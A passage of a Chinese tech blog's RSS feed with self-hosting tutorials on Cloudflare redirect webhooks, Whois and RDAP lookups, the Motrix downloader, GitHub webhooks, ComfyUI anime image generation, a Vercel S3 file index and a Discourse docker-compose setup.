&lt;p&gt;如果你不是第一次更新,可能会带有一个 &lt;code&gt;&quot;position&quot;:{&quot;index&quot;:1},&lt;/code&gt; 删除它否则后面的WebHook将会出错。&lt;/p&gt;
&lt;p&gt;将我们硬编码的 &lt;code&gt;6666&lt;/code&gt; 端口改为Lucky STUN的变量 &lt;code&gt;#{port}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;最终我们记录了以下信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02
{&quot;description&quot;:&quot;stun&quot;,&quot;expression&quot;:&quot;(http.host wildcard \&quot;*.072103.xyz\&quot; and not http.host in {\&quot;pic.072103.xyz\&quot; \&quot;hpic.072103.xyz\&quot;})&quot;,&quot;action&quot;:&quot;redirect&quot;,&quot;action_parameters&quot;:{&quot;from_value&quot;:{&quot;status_code&quot;:301,&quot;preserve_query_string&quot;:true,&quot;target_url&quot;:{&quot;expression&quot;:&quot;wildcard_replace(http.request.full_uri, \&quot;*://*.072103.xyz/*\&quot;, \&quot;https://${2}.stun.072103.xyz:#{port}/${3}\&quot;)&quot;}}},&quot;enabled&quot;:true}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;让Cloudflare接管 *.072103.xyz 的流量&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/72dd5daa-a10f-4fa1-816f-8be18abc2587.DPlZ8RlX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky DDNS&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/bf6eafd3-3f7b-4a71-8c4f-c0bd34703eee.BAK-TjIV.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky SSL/TLS证书&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/80fc1bda-334d-4444-b063-2d3202de8296.D6j-JGZY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky Web服务&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/8f64210e-2bb3-4014-96e7-3af577a722f0.BXKNm83D.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置Lucky STUN&lt;/h3&gt;
&lt;p&gt;我这里使用了路由器的端口转发将Lucky的16666Web服务端口转发到了路由器的17777端口。如果你不会端口转发&lt;strong&gt;不要启用&lt;/strong&gt; &lt;code&gt;不使用Lucky内置端口转发&lt;/code&gt; 并且&lt;strong&gt;目标端口&lt;/strong&gt;填写16666&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/88f5e404-271b-4d20-98c7-b7f39a9247b2.B1gPTVXb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;配置WebHook&lt;/h3&gt;
&lt;p&gt;如图配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/559bce4c-ed44-4523-a623-7058ef1082dc.51wdP5dR.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接口地址:你之前记录的 &lt;code&gt;https://api.cloudflare.com/...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;请求方法: &lt;code&gt;PATCH&lt;/code&gt; 或者 &lt;code&gt;POST&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;请求头:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Authorization: Bearer 你的API令牌
Content-Type: application/json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求体:你之前记录的 &lt;code&gt;{&quot;description&quot;:...&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;End.&lt;/h1&gt;
</content:encoded></item><item><title>关于Whois查询那点事</title><link>https://blog.acofork.com/posts/whois/</link><guid isPermaLink="true">https://blog.acofork.com/posts/whois/</guid><description>你有没想过自己部署一个第三方的Whois查询服务我做过这里面全是坑</description><pubDate>Wed, 28 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;Whois查询是什么&lt;/h3&gt;
&lt;p&gt;如果了解域名就知道域名一旦被注册就会在Whois服务器留下一些相关信息比如注册方注册地注册时间等等可以被公开查询。&lt;/p&gt;
&lt;h3&gt;如何快速查询一个域名的Whois&lt;/h3&gt;
&lt;p&gt;你是否用过某些Whois查询网站如图为IP.SB的WHOIS查询服务可以通过 &lt;a href=&quot;https://ip.sb/whois&quot;&gt;WHOIS - IP.SB&lt;/a&gt; 快速查询一个域名的Whois&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/578a2c58-5ad4-452a-be8b-a186a64fa058.0rpVQpXT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正片&lt;/h1&gt;
&lt;p&gt;那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上我们要怎么做呢&lt;/p&gt;
&lt;p&gt;你也许已经知道在Linux系统上专门有一个包就叫做 &lt;code&gt;whois&lt;/code&gt; 我们可以方便用它来查询Whois。我们现在就可以试试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/d198a5cf-37e0-410e-9f9b-df736725eb7b.DwKtV9vJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到,成功查询到了 &lt;code&gt;baidu.com&lt;/code&gt; 的Whois信息。但是实际上这个命令的输出有这么长&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3efb10bd-042a-4a22-82c9-e947d591e10d.B1uVBAtz.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是实际上,只有红色框内的信息对我们有效,其他的信息则是一些公告,警示,许可之类的无用信息&lt;/p&gt;
&lt;p&gt;这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难,但是对现代计算机来说非常难&lt;/p&gt;
&lt;p&gt;因为在&lt;strong&gt;传统的Whois查询&lt;/strong&gt;Whois服务器返回的信息没有任何规范它想给你什么就能给你什么如下图&lt;/p&gt;
&lt;p&gt;这是我的域名的Whois查询结果可以看到完全没有规范可言
&lt;img src=&quot;https://blog.acofork.com/_astro/981f3e74-4e18-47e9-8e05-05ffca461e3c.DCsKUH2i.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更有甚者不仅改格式甚至还改术语比如Status写一个Connect&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/29f6f17b-a885-406d-ad70-45e3aacc95d9.Ch9kJgqr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范需要针对每一个顶级域的Whois服务器做调查然后针对性的配置过滤器这样才能输出一个完整的规范的Whois查询结果&lt;/p&gt;
&lt;p&gt;前文我提到了&lt;strong&gt;传统的Whois查询&lt;/strong&gt;那么有没有一个API能直接提供一个规范了格式的查询结果并且每个域名都遵循这个规范呢&lt;/p&gt;
&lt;p&gt;有的兄弟有的这就是RDAPRegistration Data Access Protocol注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出并且查询是通过标准的RESTAPI也就是Web协议如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/7d92115f-f897-427a-b0a6-46d386019443.B1uKiQFu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;乍一看好多无用信息啊但是你先别急既然它返回的是JSON而且所有域名都是一个规范那么我们完全可以方便快捷的过滤&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/96760408-d94e-4ddb-854f-8e817a01fd8d.Cy7buOWc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就像这样,只需要写一遍过滤规则,以后所有&lt;strong&gt;支持RDAP查询Whois的顶级域&lt;/strong&gt;都可以通过这个规则快捷展示信息!&lt;/p&gt;
&lt;p&gt;但是话又说回来RDAP毕竟是一个新式协议很多顶级域仍然不支持比如 &lt;code&gt;.im&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.iana.org/domains/root/db/im.html&quot;&gt;.im Domain Delegation Data&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/efa46528-43b5-45fb-88e6-5401dfade480.D93H_mVS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到 &lt;code&gt;.im&lt;/code&gt; 仅支持传统Whois查询&lt;/p&gt;
&lt;p&gt;那么我们的三方API就要既支持传统Whois又支持新式RDAP&lt;/p&gt;
&lt;h1&gt;正式开始构建三方Whois查询API&lt;/h1&gt;
&lt;p&gt;由于传统Whois查询是通过TCP请求43端口获取信息需要专用客户端来查询所以针对于&lt;strong&gt;只支持传统Whois查询的顶级域&lt;/strong&gt;就需要我们的服务器先查询到信息,再返回用户纯文本。如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/16ab7a68-892e-429e-a0bc-02d829eead82.bFq1pSXM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而对于&lt;strong&gt;已经支持RDAP查询的顶级域&lt;/strong&gt;直接返回Web URL让用户自行阅览如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9b4916ef-d096-4954-a87c-abfc88c77d00.DZpUyGol.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;另外,针对于&lt;strong&gt;仅支持RDAP查询的顶级域&lt;/strong&gt;我们需要先通过IANA查询该顶级域的RDAP服务器实际上传统Whois也需要但是Linux的Whois包硬编码的Whois查询服务器目前够用 :&lt;/p&gt;
&lt;p&gt;比如我要查询 &lt;code&gt;freebird.day&lt;/code&gt; ,就需要先前往&lt;a href=&quot;https://www.iana.org/domains/root/db/day.html&quot;&gt;.day Domain Delegation Data&lt;/a&gt;查找&lt;img src=&quot;https://blog.acofork.com/_astro/7c7cb4ed-6b1a-4541-b176-ecc5783a3853.CcLDZY-e.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来通过给定的RDAP服务器查询即可&lt;img src=&quot;https://blog.acofork.com/_astro/3d8df636-39e5-48f7-a6c7-9490f373497e.DpSxtcWy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为RDAP协议较新且易读所以针对于&lt;strong&gt;传统Whois和RDAP查询都支持的顶级域&lt;/strong&gt;优先RDAP查询&lt;/p&gt;
</content:encoded></item><item><title>浏览器自带下载慢你需要一个三方下载器Mortix</title><link>https://blog.acofork.com/posts/motrix/</link><guid isPermaLink="true">https://blog.acofork.com/posts/motrix/</guid><description>经常使用Chromium的同学都知道使用浏览器自带的下载模块经常没有速度而这个时候我们便需要使用一些三方下载器而本期推荐的Motrix是免费的开源的博主本人也在使用的高性能高颜值简约强大的下载器</description><pubDate>Mon, 26 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;使用一个浏览器插件拦截下载请求然后将原请求发送给Motrix实现三方下载&lt;/p&gt;
&lt;h1&gt;下载Motrix&lt;/h1&gt;
&lt;p&gt;前往官网: https://motrix.app/ 。下载Motrix&lt;/p&gt;
&lt;p&gt;什么你说我下载Motrix也奇慢无比&lt;s&gt;忍一忍就过去了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;当你安装完毕后应该长这样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/6a10d31c-0c39-456c-8402-ff3190a80dcc.CfqsbG1z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置Motrix&lt;/h1&gt;
&lt;p&gt;打开Motrix - 进阶设置 - RPC。你可以看到RPC监听端口默认为16800和一个RPC授权密钥随机的
&lt;img src=&quot;https://blog.acofork.com/_astro/53e255cf-965f-441d-a47a-81e20f272256.Ojzuuek-.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们需要记住监听端口,复制好授权密钥(点击小眼睛然后复制,旁边的骰子图标是随机一个新的密钥)。然后点击保存并应用&lt;/p&gt;
&lt;h1&gt;配置浏览器&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;仅支持Chromium系Chrome和新版Microsoft EdgeFireFox另寻它案&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;寻找浏览器扩展: &lt;strong&gt;Aria2 Explorer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;安装,然后 右键 - 扩展选项。在这里对接Motrix的RPC设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0f4a510b-378a-45ab-a35f-88cfa53593e3.CFPVI9jM.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后右键扩展勾选上下载拦截然后尝试进行下载。如果一切顺利浏览器的下载将被Aria2 Explorer捕获并且发送给Motrix。你可以在&lt;strong&gt;Aria2 Explorer&lt;/strong&gt;&lt;strong&gt;Motrix&lt;/strong&gt;处看到下载中的文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/57fa7b18-541e-4115-a160-cd742735e298.hqSZRKD0.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>利用Github Repo WebHook来为你的订阅者推送文章更新信息</title><link>https://blog.acofork.com/posts/github-webhook/</link><guid isPermaLink="true">https://blog.acofork.com/posts/github-webhook/</guid><description>针对于静态博客博主在文章更新后一般需要手动通知订阅者阅读新的文章本文通过Github WebHook来实现一个全自动的文章更新通知实现</description><pubDate>Mon, 19 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;原理解析&lt;/h1&gt;
&lt;p&gt;我们都知道静态博客一般会托管在Github来方便其他静态网站构建服务提供商如Cloudflare进行自动构建和发布站点。&lt;/p&gt;
&lt;p&gt;我们可以在每一次Push后调用WebHook将提交信息发送给自己托管的服务如QQBot然后在你的订阅群广播这个消息即可&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意:根据框架和构建提供商的不同,构建时长也会不同,请为广播消息设置一个延迟时间.&lt;/p&gt;
&lt;p&gt;以便让你的订阅者收到文章更新消息后能够立即打开阅览而不是看到404或者错误的内容&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;设置你的自托管WebHook接收器&lt;/h2&gt;
&lt;p&gt;我使用Koishi编写一个插件创建一个HTTP服务器用于接受WebHook并且在接收到指定提交信息的WebHook后将在2分钟后在我的群里广播文章更新消息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/53b434e4-cf0e-4cfc-a688-054d13f1c01a.Cc5J0ZIn.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的服务在内网可以使用Cloudflared将WebHook接收服务器开放到公网。否则Github将无法将WebHook信息发送到你的服务&lt;/p&gt;
&lt;h2&gt;配置Github Repo WebHook&lt;/h2&gt;
&lt;p&gt;打开你的博客仓库。&lt;/p&gt;
&lt;p&gt;在仓库设置找到WebHooks&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e899ddd6-9b3e-4d0a-848b-7f9b43d2004e.rZ0f_NFQ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加一个新的WebHook如图设置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/7fa35782-2d3c-4d18-afca-cb7db8ee36fc.Be3duUDY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;开发测试&lt;/h2&gt;
&lt;p&gt;在你的博客仓库进行一次Push操作检查是否收到了WebHook信息并且分析信息配置你的WebHook接收器做后续操作&lt;/p&gt;
</content:encoded></item><item><title>AI绘图发展了这么多年你还不会画你推的同人图</title><link>https://blog.acofork.com/posts/noobai-vpre/</link><guid isPermaLink="true">https://blog.acofork.com/posts/noobai-vpre/</guid><description>从零教你用上最新的NoobAI-V预测模型2025年最值得上手最简单好用的模型</description><pubDate>Tue, 13 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要(坐牢实况)&lt;/h1&gt;
&lt;p&gt;其实本来这篇文章应该在一个月前就发出来的当时已经把部署方法写好了但是脑子一热给系统重装了。教程没留下模型没留下prompt提示词没留下图也没留下。然后就脱坑AI绘图了然后就开始研究别的东西了&lt;/p&gt;
&lt;p&gt;契机是昨天晚上2025-05-12看到有大佬在发一些精美的AI绘图。我这不服输的胜负欲啊...&lt;/p&gt;
&lt;p&gt;然后就边和群u唱歌边研究AI绘图前前后后把Stable Diffusion WebUI、Stable Diffusion Forge WebUI、Comfyui全装了一遍各种找教程、实操、试错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-11-58-34-image.BeHC9HqZ.png&quot; alt=&quot;2025-05-13-11-58-34-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好在凭借着仅剩的记忆也是顺着这些蛛丝马迹把我曾经丢掉的知识找回来了,在纯小白的情况下,你可以跑出类似下面的图!(跑不出来你打死我!)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-11-59-50-ComfyUI_00016_.C2bct8Vh.png&quot; alt=&quot;2025-05-13-11-59-50-ComfyUI_00016_.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-00-37-ComfyUI_00011_.VGVp1-2v.png&quot; alt=&quot;2025-05-13-12-00-37-ComfyUI_00011_.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;h2&gt;下载NoobAI-V预测模型&lt;/h2&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://civitai.com/models/833294?modelVersionId=1190596&quot;&gt;NoobAI-XL (NAI-XL) - V-Pred-1.0-Version | NoobAI Checkpoint | Civitai&lt;/a&gt; (需魔法)&lt;/p&gt;
&lt;p&gt;点击下载即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-08-17-image.C61T8jbO.png&quot; alt=&quot;2025-05-13-12-08-17-image.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;安装Comfyui&lt;/h2&gt;
&lt;p&gt;前往秋叶的视频评论区下载Comfyui整合包下载并解压 https://www.bilibili.com/video/BV1Ew411776J&lt;/p&gt;
&lt;p&gt;解压完后打开文件夹,打开 &lt;code&gt;A绘世启动器&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-05-17-image.DvTZ7M_A.png&quot; alt=&quot;2025-05-13-12-05-17-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击右下角的开始运行先让他进行初始化直到它自动打开你的浏览器并且可以正常进入Comfyui的界面如下图&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-06-57-image.JtgBJS8y.png&quot; alt=&quot;2025-05-13-12-06-57-image.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;放置模型&lt;/h2&gt;
&lt;p&gt;将我们刚才下载的NoobAI-V预测模型类似 &lt;code&gt;noobaiXLNAIXL_vPred10Version.safetensors&lt;/code&gt; 这样的文件放到 &lt;code&gt;ComfyUI-aki-v1.5\models\checkpoints&lt;/code&gt; 下面,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-10-06-image.Cuh947be.png&quot; alt=&quot;2025-05-13-12-10-06-image.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;开始绘图&lt;/h2&gt;
&lt;p&gt;刷新Comfyui你应该可以在 &lt;code&gt;Checkpoint加载器(简易)&lt;/code&gt; 处可以看到你放置的所有模型,选择带有 &lt;code&gt;vPred...&lt;/code&gt; 的就是V预测模型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-11-55-image.DQ1hqEAI.png&quot; alt=&quot;2025-05-13-12-11-55-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后你想要画什么呢?比如崩铁的流萤?&lt;/p&gt;
&lt;p&gt;进入 &lt;a href=&quot;https://www.downloadmost.com/NoobAI-XL/danbooru-character/&quot;&gt;Danbooru characters in NoobAI-XL (NAI-XL)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;搜索流萤的英文名 &lt;code&gt;firefly&lt;/code&gt; 或者搜索 &lt;code&gt;star rail&lt;/code&gt; 找到所有关于崩铁的角色&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-15-16-image.BA4If9CQ.png&quot; alt=&quot;2025-05-13-12-15-16-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;Prompt tags&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;回到Comfyui将其粘贴进链接了正面条件的CLIP文本编码器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-16-35-image.DUS7avuk.png&quot; alt=&quot;2025-05-13-12-16-35-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样角色预设就写好了&lt;/p&gt;
&lt;p&gt;我这里也提供了一些起手的提示词&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;正面条件:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;masterpiece, best quality, newest, absurdres, highres
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;负面条件:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;text, watermark, worst quality, old, early, low quality, lowres, signature, username, logo, bad hands, mutated hands, mammal, anthro, furry, ambiguous form, feral, semi-anthro
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们将其添加到Comfyui如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-19-32-image.CDBKdFXf.png&quot; alt=&quot;2025-05-13-12-19-32-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ok接下来让我们配置K采样器&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;步数28-35&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CFG4-5&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;采样器euler❗重要不能更改可能会崩图&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;没提到的参数自行斟酌调整,如果你不懂就不要乱调!&lt;/p&gt;
&lt;p&gt;接下来设置图像尺寸,总面积约为 1024x1024。&lt;strong&gt;最推荐832x1216&lt;/strong&gt;。其余768x1344、896x1152、1024x1024、1152x896、1216x832、1344x768、1024x1536、1536x1024&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-22-06-image.Chr1jQrI.png&quot; alt=&quot;2025-05-13-12-22-06-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最终工作流如图,然后点击执行队列!
&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-24-12-image.lWlG5HTT.png&quot; alt=&quot;2025-05-13-12-24-12-image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后你就能得到一张这样的图片:&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-24-51-ComfyUI_00018_.BjLMzHQP.png&quot; alt=&quot;2025-05-13-12-24-51-ComfyUI_00018_.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你想要图片是不同的样子请在正面提示词和反面提示词添加(&lt;strong&gt;必须为英文不知道的用翻译或者问AI&lt;/strong&gt;)。比如我这边想要让足部放到焦点上并且裸足就添加&lt;strong&gt;正面提示词&lt;/strong&gt; &lt;code&gt;barefoot,feet in foreground&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-27-07-ComfyUI_00019_.CTgtL6Dm.png&quot; alt=&quot;2025-05-13-12-27-07-ComfyUI_00019_.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AI生成的图片随机性较强。每一次生成的图片都不太一样。多试试&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可以在负面提示词添加:&lt;code&gt;NSFW&lt;/code&gt; ,在正面提示词添加 &lt;code&gt;safe&lt;/code&gt; 这样就不会生成涩图&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;由于V预测模型较新只能在SDForge和Comfyui上运行原版SD无法运行会崩图&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;参考:&lt;a href=&quot;https://civitai.com/models/833294?modelVersionId=1046043&quot;&gt;NoobAI-XL (NAI-XL) - V-Pred-0.5-Version | NoobAI Checkpoint | Civitai&lt;/a&gt;。关于更多的此模型的技巧可以到图片对应处的About查看&lt;img src=&quot;https://blog.acofork.com/_astro/2025-05-13-12-30-55-image.BiLsO0IT.png&quot; alt=&quot;2025-05-13-12-30-55-image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>让Vercel对接你的S3对象存储仅下载</title><link>https://blog.acofork.com/posts/s3cloudrive/</link><guid isPermaLink="true">https://blog.acofork.com/posts/s3cloudrive/</guid><description>可能很多小伙伴都使用过对象存储但是他们大部分都没一个图形界面虽然近年来有了AList这么一个非常全能的服务但是仍然需要独立服务器本篇将使用Vercel Function搭建一个精美的S3文件下载</description><pubDate>Mon, 05 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;视频教程(推荐): https://www.bilibili.com/video/BV17b5gz5Ea4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;使用方法非常简单进入GitHub仓库&lt;a href=&quot;https://github.com/afoim/S3cloudrive-index&quot;&gt;GitHub - afoim/S3cloudrive-index: S3cloudrive public directory listing. Powered by Next.js.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;按照README部署即可&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;采用Vercel Function登录S3获取文件列表传递给前端拼接URL显示原项目是对接的OneDrive&lt;a href=&quot;https://github.com/iRedScarf/onedrive-index&quot;&gt;iRedScarf/onedrive-index: OneDrive public directory listing, and One-Click Deploy to Vercel. Powered by Vercel and Next.js.&lt;/a&gt;。本项目仅更改了后端对接的存储类型,理论上你可以三改后对接任意存储...&lt;/p&gt;
&lt;p&gt;&lt;s&gt;本人想对接天翼云盘PC的驱动但是登录鉴权一直不会做有没有人来帮帮我&lt;/s&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你部署Discourse</title><link>https://blog.acofork.com/posts/discourse/</link><guid isPermaLink="true">https://blog.acofork.com/posts/discourse/</guid><description>Discourse是一个开源的强大的论坛系统让你马上就能拥有自己的BBS</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;确保你安装了 &lt;code&gt;Docker&lt;/code&gt;&lt;code&gt;Docker-Compose&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;选一个目录创建 &lt;code&gt;docker-compose.yml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;写入内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;2&apos;
services:
postgresql:
image: docker.io/bitnami/postgresql:11
volumes:
- &apos;postgresql_data:/bitnami/postgresql&apos;
environment:
- POSTGRESQL_POSTGRES_PASSWORD=admin12345
- POSTGRESQL_USERNAME=ex_discourse
- POSTGRESQL_PASSWORD=user12345
- POSTGRESQL_DATABASE=example_discourse
redis:
image: docker.io/bitnami/redis:6.0
environment:
- REDIS_PASSWORD=redis12345
volumes:
- &apos;redis_data:/bitnami/redis&apos;
discourse:
image: docker.io/bitnami/discourse:2
ports:
- &apos;127.0.0.1:880:3000&apos;
volumes:
- &apos;discourse_data:/bitnami/discourse&apos;
depends_on:
- postgresql
- redis
environment:
# 用户和站点配置
- DISCOURSE_HOST=example.com
- DISCOURSE_USERNAME=siteadmin
- DISCOURSE_PASSWORD=siteadmin12345
- DISCOURSE_EMAIL=siteadmin@gmail.com
# 数据库连接配置
- DISCOURSE_DATABASE_HOST=postgresql
- DISCOURSE_DATABASE_PORT_NUMBER=5432
- DISCOURSE_DATABASE_USER=ex_discourse
- DISCOURSE_DATABASE_PASSWORD=user12345
- DISCOURSE_DATABASE_NAME=example_discourse
# Redis 连接配置
- DISCOURSE_REDIS_HOST=redis
- DISCOURSE_REDIS_PORT_NUMBER=6379
- DISCOURSE_REDIS_PASSWORD=redis12345
